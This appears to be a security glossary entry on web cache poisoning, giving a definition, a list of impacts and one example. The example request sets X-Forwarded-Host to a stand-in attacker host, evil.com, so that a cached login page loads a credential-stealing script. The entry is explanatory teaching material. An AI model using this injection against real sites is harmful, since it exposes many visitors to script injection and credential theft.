Cache Poisoning
HighWeb Cache Poisoning
Definition
Web Cache Poisoning is a vulnerability that abuses the behavior of web caches (CDNs, proxies) to store and serve malicious responses to other users. The attacker sends a request with headers or parameters that are not part of the cache key but do affect the response, causing the poisoned version to be served to every visitor.
Impact
Mass Cross-Site Scripting (XSS) affecting every visitor of the pageMass redirection to phishing or malware sitesDenial of service by storing error responsesCredential theft at scale via poisoned login pages
Examples
Cache Poisoning via the X-Forwarded-Host header
The X-Forwarded-Host header is not part of the cache key but the application uses it to generate script URLs. The attacker manipulates it to inject their domain, and the cache stores the poisoned response, serving it to every user.
# Request with an uncached header that affects the response GET /login HTTP/1.1 Host: victim.com X-Forwarded-Host: evil.com # The response includes a script pointing to the injected host: HTTP/1.1 200 OK <script src="https://evil.com/static/analytics.js"></script> # This response is cached and served to ALL visitors of /login # The attacker controls analytics.js and can steal credentials
